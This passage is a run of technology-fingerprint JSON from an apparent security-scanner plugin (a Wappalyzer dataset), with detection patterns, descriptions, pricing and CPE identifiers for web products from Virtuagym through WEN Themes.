\"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://business.virtuagym.com\"\n  },\n  \"Virtual Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Virtual Chat is a live-chat service for web sites.\",\n    \"icon\": \"Virtual Chat.png\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"virtual-chat\\\\.co\\\\.il/\"\n    ],\n    \"website\": \"https://www.virtual-chat.co.il\"\n  },\n  \"VirtualSpirits\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"VirtualSpirits is a chatbot and live-chat service for websites.\",\n    \"icon\": \"VirtualSpirits.svg\",\n    \"js\": {\n      \"vspiritbutton\": \"\",\n      \"vspirits_chat_client\": \"\",\n      \"vspiritsizeheight\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.virtualspirits.com\"\n  },\n  \"VirtueMart\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:virtuemart:virtuemart:*:*:*:*:*:joomla\\\\!:*:*\",\n    \"description\": \"VirtueMart is an open-source ecommerce solution designed as an extension for Joomla, allowing users to build and manage online stores with features for product management, payment processing, and order fulfillment.\",\n    \"dom\": [\n      \"div#vmMainPage\"\n    ],\n    \"html\": [\n      \"<div id=\\\"vmMainPage\"\n    ],\n    \"icon\": \"VirtueMart.svg\",\n    \"implies\": [\n      \"Joomla\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"Joomla\"\n    ],\n    \"website\": \"https://virtuemart.net\"\n  },\n  \"Virtuoso\": {\n    \"cats\": [\n      34\n    ],\n    \"headers\": {\n      \"Server\": \"Virtuoso/?([0-9.]+)?\\\\;version:\\\\1\"\n    },\n    \"meta\": {\n      \"Copyright\": \"^Copyright &copy; \\\\d{4} OpenLink Software\",\n      \"Keywords\": \"^OpenLink Virtuoso Sparql\"\n    },\n    \"url\": [\n      \"/sparql\"\n    ],\n    \"website\": \"https://virtuoso.openlinksw.com/\"\n  },\n  \"Virtuous\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Virtuous is the responsive fundraising software platform.\",\n    \"icon\": \"Virtuous.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.virtuoussoftware\\\\.com/\"\n    ],\n    \"website\": \"https://virtuous.org\"\n  },\n  \"Virtusize\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Virtusize is a personalisation service that provides size and product recommendations specific to a user's size and trend preferences.\",\n    \"icon\": \"Virtusize.svg\",\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.virtusize\\\\.jp/\"\n    ],\n    \"website\": \"https://www.virtusize.com\"\n  },\n  \"Visa\": {\n    \"cats\": [\n      41\n    ],\n    \"dom\": [\n      \"[aria-labelledby='pi-visa']\"\n    ],\n    \"icon\": \"Visa.svg\",\n    \"js\": {\n      \"visaApi\": \"\",\n      \"visaImage\": \"\",\n      \"visaSrc\": \"\"\n    },\n    \"website\": \"https://www.visa.com\"\n  },\n  \"Visa Checkout\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Visa facilitates electronic funds transfers throughout the world, most commonly through Visa-branded credit cards, debit cards and prepaid cards.\",\n    \"icon\": \"Visa.svg\",\n    \"scriptSrc\": [\n      \"secure\\\\.checkout\\\\.visa\\\\.com\"\n    ],\n    \"website\": \"https://checkout.visa.com\"\n  },\n  \"Visely\": {\n    \"cats\": [\n      100,\n      76\n    ],\n    \"description\": \"Visely is a Shopify app which personalise product recommendations for Shopify sites.\",\n    \"icon\": \"Visely.svg\",\n    \"js\": {\n      \"Visely.RecommendationsApi\": \"\",\n      \"ViselyCartProductIds\": \"\",\n      \"ViselyPage\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://visely.io\"\n  },\n  \"Visible Privacy\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Visible Privacy is a privacy-focused Consent Management Platform compatible with major CMS and ecommerce systems.\",\n    \"icon\": \"VisiblePrivacy.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//bc-prod-config\\\\.empathy\\\\.co/\"\n    ],\n    \"website\": \"https://visibleprivacy.com/\"\n  },\n  \"Visitor Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Visitor Chat is a service that provides businesses with managed automotive live chat solutions to improve customer relationships.\",\n    \"icon\": \"VisitorChat.svg\",\n    \"js\": {\n      \"VisitorChatInit\": \"\",\n      \"VisitorChat_Close\": \"\",\n      \"VisitorChat_Init\": \"\",\n      \"VisitorChat_clearStore\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://visitor.chat\"\n  },\n  \"Visual Composer\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Visual Composer is an all-in-one web design tool for anyone who uses WordPress.\",\n    \"icon\": \"visualcomposer.svg\",\n    \"implies\": [\n      \"WordPress\",\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Powered by Visual Composer Website Builder\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://visualcomposer.com\"\n  },\n  \"Visual Portfolio\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Visual Portfolio is a plugin with a robust set of features, designed to help you create galleries that effectively display your creative projects.\",\n    \"icon\": \"Visual Portfolio.svg\",\n    \"js\": {\n      \"VPData.screenSizes\": \"\",\n      \"VPData.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://visualportfolio.co\"\n  },\n  \"Visual Quiz Builder\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Visual Quiz Builder is a Shopify app built by AskWhai.\",\n    \"icon\": \"Visual Quiz Builder.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//whai-cdn\\\\.nyc\\\\d\\\\.cdn\\\\.digitaloceanspaces\\\\.com/\"\n    ],\n    \"website\": \"https://apps.shopify.com/product-recommendation-quiz\"\n  },\n  \"Visualsoft\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"vscommerce\": \"\"\n    },\n    \"description\": \"Visualsoft is an ecommerce agency that delivers web design, development and marketing services to online retailers.\",\n    \"icon\": \"Visualsoft.svg\",\n    \"meta\": {\n      \"vs_status_checker_version\": \"\\\\d+\",\n      \"vsvatprices\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.visualsoft.co.uk/\"\n  },\n  \"Visx\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Visx is a collection of React-based data visualisation tools developed by Airbnb.\",\n    \"dom\": {\n      \"g.visx-group,g.vx-group\": {\n        \"attributes\": {\n          \"class\": \"(?:v(?:is)?x)-group\"\n        }\n      }\n    },\n    \"icon\": \"Visx.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"React\"\n    ],\n    \"website\": \"https://airbnb.io/visx/\"\n  },\n  \"Vitals\": {\n    \"cats\": [\n      100,\n      32\n    ],\n    \"description\": \"Vitals is an all-in-one Shopify marketing software.\",\n    \"icon\": \"Vitals.svg\",\n    \"js\": {\n      \"VITALS\": \"\",\n      \"vitals_app_cache_keys_v1\": \"\",\n      \"vitals_country_code\": \"\",\n      \"vitals_product_data\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//appsolve\\\\.io/\"\n    ],\n    \"website\": \"https://vitals.co\"\n  },\n  \"Vite\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Vite is a rapid development tool for modern web projects.\",\n    \"dom\": [\n      \"script#vite-legacy-polyfill, script#vite-legacy-entry, link[href*='vite.svg'][rel='icon']\"\n    ],\n    \"icon\": \"vite.svg\",\n    \"js\": {\n      \"__vite_is_modern_browser\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://vitejs.dev\"\n  },\n  \"VitePress\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"VitePress is a Vite & Vue Powered Static Site Generator.\",\n    \"icon\": \"vite.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"Vite\"\n    ],\n    \"js\": {\n      \"__VP_HASH_MAP__\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://vitepress.vuejs.org/\"\n  },\n  \"Vitrin.me\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Vitrin.me is a no-code platform that lets anyone build web apps without writing any code.\",\n    \"icon\": \"Vitrin.me.svg\",\n    \"implies\": [\n      \"Python\",\n      \"Django\",\n      \"React\",\n      \"Next.js\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vitrin\\\\.me/\"\n    ],\n    \"website\": \"https://vitrin.me\"\n  },\n  \"Vivenu\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Vivenu is a ticketing platform.\",\n    \"dom\": [\n      \"title#vivenuId\"\n    ],\n    \"icon\": \"Vivenu.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://vivenu.com\"\n  },\n  \"Vizury\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Vizury is a ecommerce marketing platform.\",\n    \"icon\": \"Vizury.svg\",\n    \"js\": {\n      \"safariVizury\": \"\",\n      \"vizury_data\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.vizury\\\\.com\"\n    ],\n    \"website\": \"https://www.vizury.com\"\n  },\n  \"Vnda\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Vnda is a omnichannel ecommerce platform.\",\n    \"icon\": \"Vnda.svg\",\n    \"implies\": [\n      \"Node.js\",\n      \"Amazon Web Services\"\n    ],\n    \"js\": {\n      \"Vnda.loadCartPopup\": \"\",\n      \"vnda.checkout\": \"\"\n    },\n    \"meta\": {\n      \"image\": \"cdn\\\\.vnda\\\\.com\\\\.br/\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.vnda.com.br\"\n  },\n  \"Vntana\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Vntana (stylised as VNTANA) is an American social augmented reality company.\",\n    \"dom\": [\n      \"iframe[src*='embed.vntana.com/'], iframe[nitro-lazy-src*='embed.vntana.com/']\"\n    ],\n    \"icon\": \"Vntana.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.vntana.com\"\n  },\n  \"VocalReferences\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"VocalReferences is a platform offering testimonial, review, and rating tools designed to help online businesses collect and display customer feedback.\",\n    \"icon\": \"VocalReferences.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"widgets\\\\.vocalreferences\\\\.com\"\n    ],\n    \"website\": \"https://www.vocalreferences.com\"\n  },\n  \"Voltn\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Voltn is a marketing technology services provider.\",\n    \"dom\": [\n      \"link[href*='//pixel.voltn.com']\"\n    ],\n    \"icon\": \"Voltn.svg\",\n    \"saas\": true,\n    \"website\": \"https://voltn.agency\"\n  },\n  \"Volusion\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Volusion is a cloud-based, hosted ecommerce solution.\",\n    \"html\": [\n      \"<link [^>]*href=\\\"[^\\\"]*/vspfiles/\\\\;version:1\",\n      \"<body [^>]*data-vn-page-name\\\\;version:2\"\n    ],\n    \"icon\": \"Volusion.svg\",\n    \"js\": {\n      \"volusion\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/volusion\\\\.js(?:\\\\?([\\\\d.]*))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.volusion.com\"\n  },\n  \"Vonage Video API\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Vonage Video API platform makes it easy to embed real-time, high-quality interactive video, messaging, screen-sharing, and more into web and mobile apps.\",\n    \"icon\": \"Vonage.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.opentok\\\\.com/\"\n    ],\n    \"website\": \"https://www.vonage.com/communications-apis/video/\"\n  },\n  \"Voog\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Voog is a user-friendly website building platform.\",\n    \"icon\": \"Voog.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.voog\\\\.com/\"\n    ],\n    \"website\": \"https://www.voog.com\"\n  },\n  \"Voog.com Website Builder\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"html\": [\n      \"<script [^>]*src=\\\"[^\\\"]*voog\\\\.com/tracker\\\\.js\"\n    ],\n    \"icon\": \"Voog.png\",\n    \"scriptSrc\": [\n      \"voog\\\\.com/tracker\\\\.js\"\n    ],\n    \"website\": \"https://www.voog.com/\"\n  },\n  \"Vop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Vop is a service facilitating the integration of ecommerce into social content.\",\n    \"icon\": \"Vop.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.getvop\\\\.com/\"\n    ],\n    \"website\": \"https://getvop.com\"\n  },\n  \"Voracio\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"voracio_csrf_token\": \"\",\n      \"voracio_sessionid\": \"\"\n    },\n    \"description\": \"Voracio is a cloud SaaS ecommerce platform powered by Microsoft .NET and built on the Microsoft Azure cloud framework.\",\n    \"icon\": \"Voracio.svg\",\n    \"js\": {\n      \"voracio\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.voracio.co.uk\"\n  },\n  \"Vouched\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Vouched is a platform designed to support identity verification across various industries.\",\n    \"icon\": \"Vouched.svg\",\n    \"js\": {\n      \"Vouched\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.vouched.id\"\n  },\n  \"Vouchley\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Vouchley is a review platform designed for freelancers, allowing them to receive and showcase client reviews to build credibility and attract more business.\",\n    \"dom\": [\n      \"iframe[src*='.reputize.org/widgets/']\"\n    ],\n    \"icon\": \"Vouchley.svg\",\n    \"website\": \"https://www.vouchley.com\"\n  },\n  \"Vox Media\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Vox Media is a digital platform that operates news and opinion websites.\",\n    \"icon\": \"VoxMedia.svg\",\n    \"js\": {\n      \"VoxMediaFontLoader\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.voxmedia\\\\.com/\"\n    ],\n    \"website\": \"https://corp.voxmedia.com\"\n  },\n  \"Vtiger\": {\n    \"cats\": [\n      53\n    ],\n    \"cpe\": \"cpe:2.3:a:vtiger:vtiger_crm:*:*:*:*:*:*:*:*\",\n    \"description\": \"Vtiger is a cloud-based suite of marketing, sales and help desk offerings, which can be deployed separately or as an integrated, all-in-one ecosystem.\",\n    \"icon\": \"Vtiger.svg\",\n    \"js\": {\n      \"Vtiger\": \"\",\n      \"Vtiger_Base_Js\": \"\",\n      \"Vtiger_Helper_Js\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.vtiger.com\"\n  },\n  \"VuFind\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"VuFind is a library resource portal designed and developed by Villanova University library.\",\n    \"icon\": \"VuFind.svg\",\n    \"js\": {\n      \"VuFind.defaultSearchBackend\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^VuFind\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://vufind.org\"\n  },\n  \"Vue Storefront\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"Vue Storefront is a frontend platform for headless ecommerce.\",\n    \"icon\": \"vue-storefront.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Vue Storefront ([0-9.]+)?$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"vsf-layout\\\\;version:1\"\n    ],\n    \"website\": \"https://www.vuestorefront.io/\"\n  },\n  \"Vue.ai\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Vue.ai is an AI-powered experience management suite which combines the power of product, customer and business intelligence using computer vision and NLP.\",\n    \"icon\": \"Vue.ai.svg\",\n    \"js\": {\n      \"getVueUrlSegments\": \"\",\n      \"vuex\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"vuex\\\\.vue\\\\.ai\",\n      \"vue_ai\\\\.js\"\n    ],\n    \"website\": \"https://vue.ai\"\n  },\n  \"Vue.js\": {\n    \"cats\": [\n      12\n    ],\n    \"css\": [\n      \"\\\\.vue-notification-group\"\n    ],\n    \"description\": \"Vue.js is an open-source model–view–viewmodel JavaScript framework for building user interfaces and single-page applications.\",\n    \"dom\": [\n      \".vue-app, link[href*='docsify/themes/vue.css']\"\n    ],\n    \"html\": [\n      \"<(?!svg)[^>]+\\\\sdata-v(?:ue)?-\"\n    ],\n    \"icon\": \"vue.svg\",\n    \"js\": {\n      \"Vue\": \"\",\n      \"Vue.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"VueRoot\": \"\",\n      \"__VUE_HOT_MAP__\": \"\",\n      \"__VUE__\": \"\",\n      \"vueDLL\": \"\"\n    },\n    \"scriptSrc\": [\n      \"vue[.-]([\\\\d.]*\\\\d)[^/]*\\\\.js\\\\;version:\\\\1\",\n      \"(?:/([\\\\d.]+))?/vue(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://vuejs.org\"\n  },\n  \"Vue2-animate\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Vue2-animate is a Vue.js port of Animate.css.\",\n    \"dom\": [\n      \"link[href*='/vue2-animate.min.css']\"\n    ],\n    \"icon\": \"vue.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"Sass\",\n      \"Animate.css\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/asika32764/vue2-animate\"\n  },\n  \"VuePress\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"VuePress is a static site generator with a Vue-powered theming system, and a default theme for writing technical documentation.\",\n    \"icon\": \"VuePress.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"js\": {\n      \"__VUEPRESS__.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"meta\": {\n      \"generator\": \"^VuePress(?: ([0-9.]+)(-[a-z]+.[0-9]+)?)?$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://vuepress.vuejs.org/\"\n  },\n  \"VueStrap\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"VueStrap is a collection of Bootstrap components built with Vue.js.\",\n    \"icon\": \"vue.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"js\": {\n      \"VueStrap.$\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/vue-strap/([\\\\d\\\\.]+)/vue-strap\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://yuche.github.io/vue-strap\"\n  },\n  \"Vuetify\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"\\\\.v-application \\\\.d-block\"\n    ],\n    \"description\": \"Vuetify is a reusable semantic component framework for Vue.js that aims to provide clean, semantic and reusable components.\",\n    \"dom\": [\n      \"style#vuetify-theme-stylesheet\"\n    ],\n    \"icon\": \"Vuetify.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://vuetifyjs.com\"\n  },\n  \"Vuex\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Vuex is a state management pattern + library for Vue.js applications.\",\n    \"icon\": \"vue.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"js\": {\n      \"Vuex.version\": \"(.*)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://vuex.vuejs.org/\"\n  },\n  \"Vultr\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Vultr is a cloud computing service provider.\",\n    \"dns\": {\n      \"NS\": \"\\\\.vultr\\\\.com\"\n    },\n    \"icon\": \"Vultr.svg\",\n    \"website\": \"https://www.vultr.com\"\n  },\n  \"Vuukle\": {\n    \"cats\": [\n      15\n    ],\n    \"description\": \"Vuukle is an audience engagement and commenting platform.\",\n    \"icon\": \"vuukle.svg\",\n    \"js\": {\n      \"VUUKLE_CONFIG\": \"\"\n    },\n    \"website\": \"https://vuukle.com\"\n  },\n  \"Vvveb CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Vvveb CMS is user-friendly software for building professional websites, blogs, and ecommerce stores.\",\n    \"icon\": \"Vvveb.svg\",\n    \"js\": {\n      \"VvvebTheme\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"^Vvveb$\",\n      \"name\": \"^Vvveb$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.vvveb.com\"\n  },\n  \"v4Guard Checkpoint\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Checkpoint is a product of v4Guard that verifies website users and prevents fraudulent access to sensitive areas, by checking for any use of anonymisation services with a captcha-like widget.\",\n    \"dom\": [\n      \"iframe[src*='.v4guard.io/checkpoint/']\"\n    ],\n    \"icon\": \"v4Guard.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.v4guard\\\\.io/checkpoint\"\n    ],\n    \"website\": \"https://v4guard.io\"\n  },\n  \"vBulletin\": {\n    \"cats\": [\n      2\n    ],\n    \"cookies\": {\n      \"bblastactivity\": \"\",\n      \"bblastvisit\": \"\",\n      \"bbsessionhash\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*\",\n    \"description\": \"vBulletin is tool that is used to create and manage online forums or discussion boards. It is written in PHP and uses a MySQL database server.\",\n    \"html\": [\n      \"<div id=\\\"copyright\\\">Powered by vBulletin\"\n    ],\n    \"icon\": \"vBulletin.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"vBulletin\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"vBulletin ?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.vbulletin.com\"\n  },\n  \"vcita\": {\n    \"cats\": [\n      53,\n      72\n    ],\n    \"description\": \"vcita is an all-in-one customer service and business management software designed for service providers.\",\n    \"dom\": [\n      \"iframe[src*='www.vcita.com/widgets/']\"\n    ],\n    \"icon\": \"vcita.svg\",\n    \"js\": {\n      \"LiveSite.btCheckout\": \"\",\n      \"Vcita\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.vcita\\\\.com/widgets/\",\n      \"widgets\\\\.vcdnita\\\\.com/\"\n    ],\n    \"website\": \"https://www.vcita.com\"\n  },\n  \"vibecommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"excludes\": [\n      \"PrestaShop\"\n    ],\n    \"icon\": \"vibecommerce.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"designer\": \"vibecommerce\",\n      \"generator\": \"vibecommerce\"\n    },\n    \"website\": \"https://vibecommerce.com.br\"\n  },\n  \"vinSUITE\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"vinSUITE is a DTC software platform designed specifically for wineries, enabling streamlined management of customer relationships, inventory, sales, and marketing operations in one centralized system.\",\n    \"icon\": \"vinSUITE.svg\",\n    \"meta\": {\n      \"author\": \"^vinSUITE$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://vinsuite.com\"\n  },\n  \"vxe-table\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"vxe-table is a Vue.js based PC form component, support add, delete, change, virtual scroll, lazy load, shortcut menu, data validation, tree structure, print export, form rendering, data paging, virtual list, modal window, custom template, renderer, flexible configuration items, extension interface.\",\n    \"dom\": [\n      \"div[class*='vxe-table']\"\n    ],\n    \"icon\": \"vxe-table.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"Vue.js\"\n    ],\n    \"website\": \"https://vxetable.cn\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/w.json",
    "content": "{\n  \"W3 Total Cache\": {\n    \"cats\": [\n      23,\n      87\n    ],\n    \"description\": \"W3 Total Cache (W3TC) improves the SEO and increases website performance and reducing load times by leveraging features like content delivery network (CDN) integration and the latest best practices.\",\n    \"headers\": {\n      \"X-Powered-By\": \"W3 Total Cache(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<!--[^>]+W3 Total Cache\"\n    ],\n    \"icon\": \"W3 Total Cache.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://www.w3-edge.com/wordpress-plugins/w3-total-cache\"\n  },\n  \"W3.CSS\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"W3.CSS is a CSS framework developed by the World Wide Web Consortium (W3C), the main international standards organisation for the World Wide Web.\",\n    \"dom\": [\n      \"link[href*='/w3.css']\"\n    ],\n    \"icon\": \"W3.CSS.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.w3schools.com/w3css/\"\n  },\n  \"W3Counter\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"W3Counter is a web analytics service that provides free and paid tools for tracking visitor statistics and offers customizable website widgets to enhance user engagement.\",\n    \"icon\": \"W3Counter.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"w3counter\\\\.com/tracker\\\\.js\"\n    ],\n    \"website\": \"https://www.w3counter.com\"\n  },\n  \"WEBDEV\": {\n    \"cats\": [\n      20\n    ],\n    \"description\": \"WEBDEV is a tool to develop internet and intranet sites and applications that support data and processes.\",\n    \"headers\": {\n      \"WebDevSrc\": \"\"\n    },\n    \"html\": [\n      \"<!-- [a-zA-Z0-9_]+ [\\\\d/]+ [\\\\d:]+ WebDev \\\\d\\\\d ([\\\\d.]+) -->\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"webdev.svg\",\n    \"meta\": {\n      \"generator\": \"^WEBDEV$\"\n    },\n    \"website\": \"https://www.windev.com/webdev/index.html\"\n  },\n  \"WEBXPAY\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"WEBXPAY is a specialised online payment gateway that expedites buying and selling in a highly secured environment.\",\n    \"icon\": \"WEBXPAY.png\",\n    \"js\": {\n      \"WEBXPAY\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://webxpay.com\"\n  },\n  \"WEBrick\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:ruby-lang:webrick:*:*:*:*:*:*:*:*\",\n    \"description\": \"WEBrick is a lightweight HTTP server library in Ruby, included in the standard library, primarily used for local development and testing of Ruby web applications.\",\n    \"headers\": {\n      \"Server\": \"^WEBrick/([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Ruby.svg\",\n    \"oss\": true,\n    \"website\": \"https://docs.ruby-lang.org/en/2.4.0/WEBrick.html\"\n  },\n  \"WEN Themes Education Hub\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"WEN Themes Education Hub is a clean and elegant WordPress education theme.\",\n    \"icon\": \"WEN Themes.svg\",\n    \"js\": {\n      \"EducationHubScreenReaderText\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/education-hub(?:-pro)?/\"\n    ],\n    \"website\": \"https://wenthemes.com/item/wordpress-themes/education-hub\"\n  },\n  \"WEN Themes Signify Dark\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Signify Dark is a free dark blog and corporate WordPress theme that is trendy, responsive, and dynamic by WEN Themes.\",\n    \"icon\": \"WEN 